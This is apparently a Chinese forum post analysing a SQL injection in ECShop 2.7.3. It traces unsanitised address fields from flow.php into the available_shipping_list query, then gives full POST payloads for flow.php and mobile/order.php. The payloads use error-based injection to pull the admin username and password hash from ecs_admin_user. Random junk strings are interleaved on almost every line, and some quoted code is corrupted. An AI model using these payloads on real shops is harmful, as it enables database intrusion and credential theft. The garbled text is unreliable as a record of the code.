前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。' h: _4 b! \: L' @
8 i5 J7 Q* }7 W3 ]- j
漏洞关键文件:* ~2 e. y7 |. d. x7 c5 k5 d: O9 h6 x
; |8 u& h' Z! ?; v" @ /includes/lib_order.php. h' k9 o. U! Z$ f8 C
8 k4 k, D. D( h: T9 W 关键函数:) v: Y5 Y7 t! i) W: H
7 G/ u4 E, L3 q, t
0 V$ E, _9 F6 [: T# L" G/ s
/ l. k5 C- u, I* H6 v; ]) g01 function available_shipping_list($region_id_list)
4 F8 g& O4 \- F2 C- ~! I5 S/ i" p) l/ b5 K8 y
02 { 8 K; z1 i: g) Z& l0 G6 P
" C3 ?' B5 T- f
03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . " e! A; u8 t/ ]5 ~
/ B0 ]$ o/ m3 J& S- i5 o$ i
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
5 S0 }- _* |7 D7 ?) w6 t7 Q! d& ^" v/ f( o9 U1 y, @3 |; h9 N
05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
. U9 n% _; f6 N/ J3 a! @% |4 Y# F$ b4 }. U" q; o2 m
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . / {0 p% A! J& m6 v
+ c% W8 s: x) ]) q7 Q( K
07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
7 x: Q' {. v( c' \
) t8 w; L$ g/ \4 t" W2 @08 'WHERE r.region_id ' . db_create_in($region_id_list) .
6 @# h* f( H' x* @' }
% Z' h" }4 ^) L5 ~$ C: T# o. W09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; " Z% D @3 L e( D# ]- t
4 }; Z; s6 G3 _9 g6 \3 O( e: S% D* z10 # s4 ~; }% J2 h+ \( u* i
( n8 i3 {- m5 s4 Q f
11 return $GLOBALS['db']->getAll($sql);
5 A/ k! S( v5 ?1 z+ h
) L# \# P- T$ \) q# t12 } 1 K& a" X4 s# R+ V2 o5 I
/ F: S5 C( |! O) V& k8 w
显然对传入的参数没有任何过滤就带入了查询语句。3 v7 {- Q% N( p& p9 b
* n1 y8 _1 Z' N6 F' a下面我们追踪这个函数在flow.php中:( [8 j& T. K- V% i: B* R& v
第531行:
& Q$ w7 {7 v2 T. n7 G6 }& D F' z
$ _& J! y6 j' P, d8 d: H$ f/ h1 $shipping_list = available_shipping_list($region); & m3 A- H0 D0 R) C
' G8 i* N- t( _7 ]$ B
* g* ?' V* k$ O; E, b" u2 e) S; s
, m/ h! X6 {: f
0 [, L. O2 P3 G7 d( b$ H# q再对传入变量进行追踪:6 |* ^( S. G+ U8 c- [& X8 t( y. n
* i( e0 J- t+ b7 {第530行:
) g" Z4 Z( |! o; {* f: B: \) T
1 e1 f' q, y/ ~' c1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); 5 i* y s, H" t
4 G5 Z( B& v8 _/ r
1 T% U8 X1 m# v: d' Y V5 D
2 W; g# H/ U7 ]
; u- P" k0 T4 `7 |4 o n! E2 j
6 P: x- c, f2 o3 o9 r' H
第473行: ( ~0 B9 S4 Z" k- t2 G5 I6 S
, c- |- s( J" h1 $consignee = get_consignee($_SESSION['user_id']); ' n; t1 p' W9 e3 R }* z g# D/ p2 Z7 B; S
% A% i/ _0 m1 g7 ^( V8 T8 P: G
到了一个关键函数:* x8 I! U" |& n8 v/ u. \9 I2 _5 N
* S. C9 w8 | b' ^" D6 r1 v/includes/lib_order.php
8 ?2 I/ D( i) U9 w0 `2 H% r+ g* I* k% g: |7 q1 k: {
9 A. f# j( V5 ^% O1 V2 _
/ E/ k( d1 S; D8 v) h9 i; D0 s2 | % U5 A3 z9 [* X t5 _: a
, u w6 C# J1 ~: I$ F+ L- Q
01 function get_consignee($user_id) * B2 Q( S0 ]" \& Y- w! I2 I
( l$ i6 R" X" S& L0 S: d02 {
' m. A8 x8 X! o* i1 V
9 M9 K$ Y" w5 l+ o( M0 l03 if (isset($_SESSION['flow_consignee']))
% p L+ O- P; w+ w8 C
/ v9 k# A' S, l8 \/ G04 {
0 r" C9 Y6 k7 q& t0 T' e4 D$ h) Z+ ]) G/ S& q
05 /* 如果存在session,则直接返回session中的收货人信息 */ * ?6 I3 M3 T. U9 v- S
, J6 T$ e$ u' V Z4 W06 ) a$ B0 v9 u' \7 k# B, Z
8 J- D- w, w3 _* Z
07 return $_SESSION['flow_consignee'];
, F% R Z# y9 t0 ?; L
% G8 A: P& i# {; D0 Y08 }
A& o6 G# h' \2 X: ^
6 X* W! q6 D1 `% k8 X$ ?7 w09 else p1 P" E2 s4 W" K# L
$ C1 |& h% q' @, c10 { ) d3 @' _" j% J# g
; q$ V5 U' @' w/ M1 h$ ?$ T11 /* 如果不存在,则取得用户的默认收货人信息 */
! s/ Q( b7 d1 b* ^* F0 m8 e9 W* D) ~
12 $arr = array(); 3 K; M6 |4 Z0 S
5 f" B( @' P* Q- M& J. ^13 3 \* R# j3 J2 Y1 w
; F% O+ v Q2 ?' p* [14 if ($user_id > 0)
! J2 k5 L0 b. p. w B" k( m
0 ^" F+ S) }9 o, l1 Y15 {
& Q8 ?, A# Y2 _2 c9 s8 Y8 O4 P# R* H/ K& c3 q' r, Z# z* t
16 /* 取默认地址 */ 9 F" ]% {- N9 k* C
# L8 a. n" |6 D) f$ d: J* o! o2 [
17 $sql = "SELECT ua.*". 5 e- t; z% r8 |
% M- L* k6 p, c/ ]3 ^18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. # J& O* }+ e/ P S& {, m3 @% @/ T% y- v
' Z8 R; V% E+ S9 s( t1 C: |19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; 1 p: G3 L$ j' W' ?4 l: m
. L; f+ c' G" N1 L0 p5 q
20 2 i; W% H' l6 n1 A% D ?
2 C/ u- h {9 @$ c) q21 $arr = $GLOBALS['db']->getRow($sql);
' L( ^, \5 q& \& ~( u
) u) Q8 @) ^. g7 T2 U# x22 }
: G8 f, j: {( y: o6 d8 u: D8 v" s2 S4 ]2 c+ p( `/ K
23 ! f6 W8 J/ w3 I7 w
8 l" Q$ s& G3 v6 Q' y
24 return $arr;
# c0 a W, {/ W$ k) }* U) R! D( m& G ~4 G
25 } ! o( n) r; J2 n3 o7 O% _, z
6 ~9 V7 t( \9 n) T( G* w) f. T
26 } : @. L0 Q/ G& i7 L
4 L8 u o% s, Z T2 r* C5 Y+ r
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?0 f; p7 G" f1 i# P( S5 x6 O3 z" k
$ ~% A8 R; N% B* ^5 w4 A
1 N: B8 Q/ h3 T3 v, _
& ]$ N# [" k) n2 g关键点:
7 K* e# [8 P* ~. o
1 b; i3 h0 U- s3 K第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);+ }: b3 w( c: F' _9 T+ p
2 D( n% L) ^1 \& h5 k, \这里对传入参数反转义存入$_SESSION中。5 W5 a a; f; o- u3 }
5 M! g$ w% h# x* G0 ?, r+ G
8 s; h5 ^/ [7 n
' ~" c. B( v8 F3 s1 L. h9 m( Y/ L然后看下:
8 u8 o& Q) G- @/ q
0 N2 d2 N6 ~. U# a% K # D( X$ o8 W! C0 V- B$ g
' K4 j q# s( k0 M+ Q ) r L" p/ n4 R+ S
$ \6 x, t" s s' {' [5 k01 $consignee = array( + X. u$ Q, m2 ]0 @1 }; r1 Q
1 S0 [# M6 s. ~2 N, n% O02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']), ; k9 J6 A! o# l9 H
* S! N' Q; k K
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
5 x* U4 R3 }' p$ l+ p
1 |- `9 r* y! s% n: n( a04 'country' => empty($_POST['country']) ? '' _POST['country'], # D8 W4 b& S- w* I
8 O0 c6 Y, N$ ?3 X
05 'province' => empty($_POST['province']) ? '' _POST['province'], 1 K- C z* i% e7 Z2 X
6 C k/ [/ z$ B3 A1 q o$ d
06 'city' => empty($_POST['city']) ? '' _POST['city'],
6 ?% X3 e- ]2 d: O* d: |
1 j; z5 Y; f+ P* d07 'district' => empty($_POST['district']) ? '' _POST['district'],
: m& [. f3 W# X' x/ E8 E) F) Z+ y f
08 'email' => empty($_POST['email']) ? '' _POST['email'], M: _3 x+ {& u" y# P9 S! t
/ s5 p V( M- j l09 'address' => empty($_POST['address']) ? '' _POST['address'], 3 P5 e/ k$ C) @% D6 k
! C- S3 H) U1 _% h/ X9 [10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
6 L$ `/ N7 {, @5 J: Y4 ~
3 ]# \4 p/ v* x% N1 g( b11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
7 f' e A7 M; Y; d% ]& _5 n
/ R2 c7 P% j+ B12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
; N1 p' @5 o, i- i+ g. Q
$ C7 _5 [5 L$ A+ e; L% L( U" v13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
3 E* c! K& a7 l* k+ Y( Y; y1 ?( z' u: @# V# r& h9 D
14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], - h1 Y! {/ ] p L7 g5 b
/ @. w3 v" o8 \+ O- l8 F. G H* H
15 ); | |3 P# j1 a5 N/ n0 `
1 K C. k3 D! y% M; P2 \; r8 d好了注入就这样出现了。
! s3 I. x, m9 d* f" y" v0 R3 A, l9 |' b% V- y( s% n/ J5 D
==================5 ~& \1 L% z( k d( n2 N/ F
) _8 R3 ]) b: v# J# w0 S9 M ]注入测试:
% q* a, u& h+ Z4 B7 L+ H Z s5 L* i$ u; g
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
$ v* d4 l. W: f+ u2 {
4 I' r# Y$ G: N: M测试程序:ECShop_V2.7.3_UTF8_release1106
8 L% {& c( G; _" i+ r% ^ k
" `8 K' }3 o5 j5 [' F
& Y' O$ z1 H' M+ y( v6 q) E
$ F9 A# _9 F6 C! y1.首先需要点击一个商品加入购物车
: d& v7 w* K& y4 K- v
" ^8 F5 C) Q3 m# a# ?' n2.注册一个会员帐号
5 a7 f- l2 S. ~3 w! G3 v
1 }% y7 c; U; d6 ^3.post提交数据
8 ?- w- P, S o4 T
1 ?8 A9 ]$ N; w$ o) [% y- R 9 d. B _3 Y. q* N( k5 e
9 @* P: U0 k6 U7 \, i
1 http://127.0.0.1/ecshop/flow.php # J3 [8 L' h: t7 H+ O* M! f* E
5 n+ g9 S# g6 ?+ a
2 6 @" i& m$ D+ ~* T% e7 ^
3 S4 x; h/ \$ A! z
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
% N6 i# N. o# h) d% T; D举一反三,我们根据这个漏洞我们可以继续深入挖掘:/ t7 K* E+ ~" |2 H: K8 d
' p" r' F: P9 b D
我们搜寻关键函数function available_shipping_list()7 C' w2 E% U2 [& s
1 e" M$ y9 e; D3 B4 Y1 Z4 o
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同) F" [# f0 F. p3 i; o( F0 O+ U, i
8 @: j% _ i. j8 h. N5 G利用exp:
9 b8 X- ]: M* e# e3 N3 L/ O9 Q$ \2 {6 V' u/ ~$ W2 n
1.点击一个商品,点击购买商标4 u, s3 ]$ u6 f. ^
3 ^6 [ S L) o5 z
2.登录会员帐号7 `8 P# r8 w1 W0 a) G% c
- G9 o! y7 u; P* ?+ k5 y% f8 t
3.post提交:
5 j0 m) q# o! x1 J K+ C9 ]4 o9 t) S+ T* m7 I
http://127.0.0.1/ecshop/mobile/order.php
, v! u8 r* v6 F. s/ Y! B& ]0 F! x/ _2 u
8 M. o+ @+ _5 K' F& }& F + ?5 {4 V) n$ ~: ]3 h6 U
' G; S( L! M$ b! M
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
- R6 T8 _9 [' S0 c8 I# j) {" c8 g: @" X3 [5 g
|